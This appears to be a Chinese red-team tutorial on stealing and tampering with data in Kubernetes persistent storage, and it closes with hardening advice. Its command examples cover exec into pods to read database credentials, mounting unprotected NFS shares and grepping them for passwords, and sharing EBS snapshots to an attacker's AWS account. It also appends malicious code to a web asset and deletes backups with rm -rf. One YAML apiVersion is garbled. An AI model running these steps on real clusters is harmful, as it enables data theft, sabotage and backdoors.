红队视角出发的k8s敏感信息收集——持久化存储与数据泄露

在Kubernetes集群中，持久化存储卷如同数据的保险箱，承载着应用运行所必需的各类敏感信息。然而，从红队视角出发，这些存储卷也可能成为攻击者觊觎的目标。通过巧妙地利用配置不当或已知漏洞，攻击者能够从中收集到包括密钥、访问凭证在内的大量敏感数据，进而导致数据泄露事件的发生。

攻击链示例：

攻击者通过容器逃逸进入 Pod → 发现挂载的 EBS 卷并创建快照 → 共享快照至攻击者 AWS 账户 → 
还原快照窃取数据库凭据 → 横向渗透至生产数据库。

PersistentVolume (PV) / PersistentVolumeClaim (PVC)攻击场景

通过挂载的存储卷（如 NFS、云磁盘）读取敏感数据（数据库凭据、配置文件等），或篡改数据破坏业务。

枚举已挂载的存储卷

查看集群中的 PV/PVC

查看Kubernetes集群中的持久卷（Persistent Volumes, PV）和持久卷声明（Persistent Volume Claims, PVC）是理解数据存储配置及其使用情况的关键步骤。通过查询这些资源，可以了解到集群中存储资源的分配情况、访问模式以及它们是如何被命名空间和服务使用的。

要列出集群中所有命名空间下的持久卷和持久卷声明，并获取详细信息，可以使用以下命令：

kubectl get pv,pvc --all-namespaces -o wide
# 输出示例：
# NAME                CAPACITY   ACCESS MODES   STORAGECLASS   CLAIM               ...
# pv-database         100Gi      RWO            csi-aws-ebs    default/db-pvc

这里：

• pv 指的是持久卷。
• pvc 指的是持久卷声明。
• –all-namespaces 参数确保查询涵盖所有命名空间。
• -o wide 提供了额外的细节，如容量、访问模式、存储类等信息。

执行上述命令后，你可能会看到类似下面的输出：

NAME                CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM                    STORAGECLASS   REASON   AGE
pv-database         100Gi      RWO            Retain           Bound    default/db-pvc           csi-aws-ebs             7d

NAMESPACE     NAME        STATUS   VOLUME       CAPACITY   ACCESS MODES   STORAGECLASS   AGE
default       db-pvc      Bound    pv-database  100Gi      RWO            csi-aws-ebs    7d

在这个输出中：

• 持久卷 (pv-database): 显示了其名称、容量、访问模式（RWO表示ReadWriteOnce）、回收策略、状态、与之关联的PVC、存储类等信息。
• 持久卷声明 (db-pvc): 展示了所在命名空间、名称、状态、绑定的PV、容量、访问模式、存储类等。

定位挂载敏感数据的 Pod

要检查特定Pod的挂载点，可以使用kubectl describe pod命令，并结合grep来过滤出与挂载相关的信息。以下是具体步骤：

获取Pod名称：首先，你需要知道目标Pod的名称。可以通过如下命令列出所有Pod及其所在命名空间（如果不知道确切的名字）：

kubectl get pods --all-namespaces

检查挂载点：一旦你有了Pod的名字，就可以用以下命令来查看该Pod的详细信息，并特别关注挂载点部分：

kubectl describe pod <pod-name> -n kube-system

为了更专注于挂载点的信息，可以结合grep或其他工具来过滤输出。例如，要直接查看挂载点部分，可以这样做：

kubectl describe pod <pod-name> | grep -A 10 "Mounts"

这里，需要替换为实际的Pod名称。grep -A 10 "Mounts"将显示“Mounts”行及其后10行的内容，以便你能看到所有的挂载信息。

执行上述命令后，可能会得到类似如下的输出：

Mounts:
  /var/lib/mysql from db-volume (rw)
  /etc/ssl/certs from ssl-certs (ro)
  /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-xxxxx (ro)

• /var/lib/mysql 目录从名为 db-volume 的卷挂载，具有读写权限 (rw)。
• /etc/ssl/certs 目录从名为 ssl-certs 的卷挂载，只读访问 (ro)。
• /var/run/secrets/kubernetes.io/serviceaccount 目录从服务账户令牌卷挂载，也是只读访问。

访问挂载的存储数据

直接读取挂载目录

如果攻击者已经获得了对某个Pod的控制权，他们可以利用这一点来访问该Pod内挂载的任何敏感数据。这包括但不限于配置文件、数据库文件和其他可能包含敏感信息的数据存储。以下是具体的步骤和命令示例，用于进入Pod并访问其挂载的敏感文件。

首先，你需要通过kubectl exec命令进入目标Pod的shell环境。假设目标Pod名为vulnerable-pod，你可以使用以下命令：

kubectl exec -it vulnerable-pod -- sh

• -it 参数让命令行保持交互模式，并分配一个TTY（终端）。
• – sh 指定使用sh作为shell解释器。如果Pod使用的是基于Linux的镜像但不包含sh，你可能需要替换为bash或其他可用的shell。

一旦进入了Pod的shell环境，就可以开始探索挂载路径了。例如，如果你想查看挂载在/var/lib/mysql下的内容，可以执行如下命令：

ls /var/lib/mysql

这将列出/var/lib/mysql目录下的所有文件和子目录。

如果你怀疑某个文件（如my.cnf）中包含了数据库连接的敏感信息（比如用户名和密码），可以直接查看该文件的内容：

cat /var/lib/mysql/my.cnf   # 可能包含数据库密码

利用 NFS 共享卷未授权访问

若 Kubernetes 集群中的持久卷（PV）使用 NFS（网络文件系统）作为存储后端，并且 NFS 服务器未配置 IP 白名单或其他访问控制措施，这可能导致严重的安全风险。攻击者可能从集群外部直接挂载 NFS 共享并访问其中的数据。以下是攻击者可能采取的步骤和相应的命令示例。

首先，攻击者需要知道 NFS 服务器的 IP 地址及其共享路径。可以使用 showmount 工具来发现这些信息：

showmount -e <nfs-server-ip>

例如，如果 NFS 服务器的 IP 地址是 192.168.1.100，则命令为：

showmount -e 192.168.1.100

此命令将列出 NFS 服务器上的所有导出目录（即共享路径）。

一旦知道了 NFS 服务器的 IP 地址和共享路径，攻击者可以从他们的机器上挂载该 NFS 共享。假设 NFS 服务器的 IP 地址是 192.168.1.100，共享路径是 /data/nfs，可以使用以下命令将其挂载到本地的 /mnt/nfs 目录：

sudo mount -t nfs 192.168.1.100:/data/nfs /mnt/nfs

挂载成功后，攻击者可以浏览或搜索挂载点下的文件以查找敏感信息。例如，要递归地在挂载点下查找包含 “password” 的文件，可以使用如下命令：

grep -r "password" /mnt/nfs

这条命令会在 /mnt/nfs 目录及其子目录中递归搜索包含 “password” 字符串的所有文件。

云磁盘快照复制

获取 EBS 卷 ID

kubectl describe pv pv-database | grep VolumeHandle
# 输出示例：VolumeHandle: vol-0a1b2c3d4e5f67890

创建快照并共享至攻击者账户

aws ec2 create-snapshot --volume-id vol-0a1b2c3d4e5f67890
aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-0123456789abcdef0 \
  --attribute createVolumePermission \
  --operation-type add \
  --user-ids 123456789012  # 攻击者 AWS 账户 ID

在攻击者账户中还原快照

aws ec2 create-volume --snapshot-id snap-0123456789abcdef0 --availability-zone us-east-1a

篡改数据破坏业务

注入恶意脚本或后门

在获得了对 NFS 共享的未授权访问权限后，攻击者可能会尝试通过修改共享中的文件来注入恶意脚本或后门。例如，如果 NFS 共享中存放了一个 Web 应用程序，并且该应用程序的静态资源（如 JavaScript 文件）存储在共享目录下，攻击者可以修改这些文件以包含恶意代码。

以下是一个示例命令，展示了如何将恶意代码注入到 NFS 共享中的一个 JavaScript 文件里：

echo "malicious-code" >> /mnt/nfs/webapp/static/js/main.js

• /mnt/nfs/webapp/static/js/main.js 是 NFS 共享中的目标文件路径。
• “malicious-code” 是要添加的恶意代码片段。

删除或加密关键数据

如果攻击者获得了对 NFS 共享的访问权限，并且该共享中存放了重要的数据库备份文件（如 .sql 文件），他们可能会尝试删除这些文件以造成破坏。以下是一个简单的命令示例，用于删除所有 .sql 文件：

rm -rf /mnt/nfs/database/*.sql  # 删除数据库文件

这条命令会递归地强制删除 /mnt/nfs/database/ 目录下所有的 .sql 文件。使用 rm -rf 命令是非常危险的，因为它不会提示确认就直接删除文件，并且无法恢复（除非有预先配置的数据恢复机制）。

StorageClass 配置攻击场景

利用 StorageClass 的默认配置漏洞（如宽松权限、快照策略），窃取或破坏数据。

探测 StorageClass 配置

查看集群所有 StorageClass

为了查看Kubernetes集群中所有的StorageClass及其详细配置，可以使用kubectl get storageclasses命令，并通过-o yaml选项获取更详细的输出。这将帮助你了解每个StorageClass的provisioner类型、参数设置等信息，这对于评估存储的安全性和性能配置非常重要。

你可以运行以下命令来列出集群中的所有StorageClass并以YAML格式显示其详细信息：

kubectl get storageclasses -o yaml

执行上述命令后，你会得到类似如下的输出（简化版）：

apiVersion: v1
items:
- apiVersion: storage.k8s.io/v1
  kind: StorageClass
  metadata:
    name: standard
  provisioner: kubernetes.io/gce-pd
  parameters:
    type: pd-standard
  reclaimPolicy: Delete
  volumeBindingMode: Immediate
---
- apiVersion: storage.k8.8io/v1
  kind: StorageClass
  metadata:
    name: fast
  provisioner: kubernetes.io/aws-ebs
  parameters:
    type: gp2
    encrypted: "false"  # 注意：未启用加密！
  reclaimPolicy: Retain
  volumeBindingMode: WaitForFirstConsumer

识别高风险配置

识别Kubernetes集群中高风险配置是确保数据安全和系统稳定的重要步骤。以下是一些关键的StorageClass配置，它们可能带来安全隐患，并解释了为什么这些配置可能被认为是高风险的。

allowVolumeExpansion: true

此设置允许持久卷（PV）在PersistentVolumeClaim（PVC）请求下进行扩展。但容易遭受资源耗尽攻击，如果恶意用户获得了对某个PVC的控制权，他们可能会试图不断扩展存储卷直至耗尽所有可用存储资源，导致服务中断或其他严重后果。

reclaimPolicy: Delete

当PersistentVolumeClaim被删除时，关联的PersistentVolume也会自动删除。

• 数据丢失风险：如果未正确管理或授权不当，可能导致重要数据因PVC的误删而永久丢失。
• 数据销毁攻击：攻击者若能访问并删除某些关键PVC，可以利用此策略迅速破坏数据，造成业务中断。

parameters:
  type: gp2
  encrypted: "false"

指定创建的EBS卷不启用加密。如果存储卷中包含敏感信息且未加密，一旦这些卷被非法访问，敏感数据就可能暴露。

利用云平台存储漏洞

创建未加密卷并挂载

利用 StorageClass 默认不加密的特性创建新卷：

# 创建 PVC 触发动态供应
kubectl apply -f - <<EOF
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: attack-pvc
spec:
  storageClassName: csi-aws-ebs  # 使用未加密的 StorageClass
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
EOF

挂载后窃取数据

将攻击 PVC 挂载到恶意 Pod，读取数据：

# 恶意 Pod 示例
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
spec:
  containers:
  - name: busybox
    image: busybox
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: attack-volume
      mountPath: /mnt/data
  volumes:
  - name: attack-volume
    persistentVolumeClaim:
      claimName: attack-pvc

跨账户快照攻击

利用快照权限配置错误

首先，需要确定要为其创建快照的EBS卷ID。假设目标卷的ID是vol-0a1b2c3d4e5f67890，可以使用以下命令创建快照：

aws ec2 create-snapshot --volume-id vol-0a1b2c3d4e5f67890 --description "Snapshot for attack"

这条命令会为指定的EBS卷创建一个快照，并返回新快照的信息，包括快照ID。

一旦快照创建成功，攻击者可以通过修改快照的权限，使其可被其他AWS账户访问。例如，假设攻击者的AWS账户ID是123456789012，可以使用以下命令将快照共享给该账户：

aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-0123456789abcdef0 \
  --attribute createVolumePermission \
  --operation-type add \
  --user-ids 123456789012

在这个命令中：

• –snapshot-id 指定了要修改的快照ID。
• –attribute createVolumePermission 表示我们要修改的是创建卷的权限。
• –operation-type add 表示我们正在添加新的权限。
• –user-ids 123456789012 是接收共享快照权限的目标AWS账户ID。

总结

PV/PVC 安全加固

• 数据加密：启用存储卷加密（如 AWS EBS 的 encrypted: true）。
• 最小权限挂载：使用 fsGroup 和 runAsUser 限制 Pod 对存储卷的访问权限。
• 网络隔离：NFS 等网络存储应配置 IP 白名单和防火墙规则。

StorageClass 安全加固

• 强制加密：在 StorageClass 中设置 encrypted: “true”（云平台特性）。
• 禁用高风险功能：若非必要，关闭 allowVolumeExpansion 和快照支持。
• 使用专用 ServiceAccount：为 CSI 驱动配置最小权限的 IAM 角色。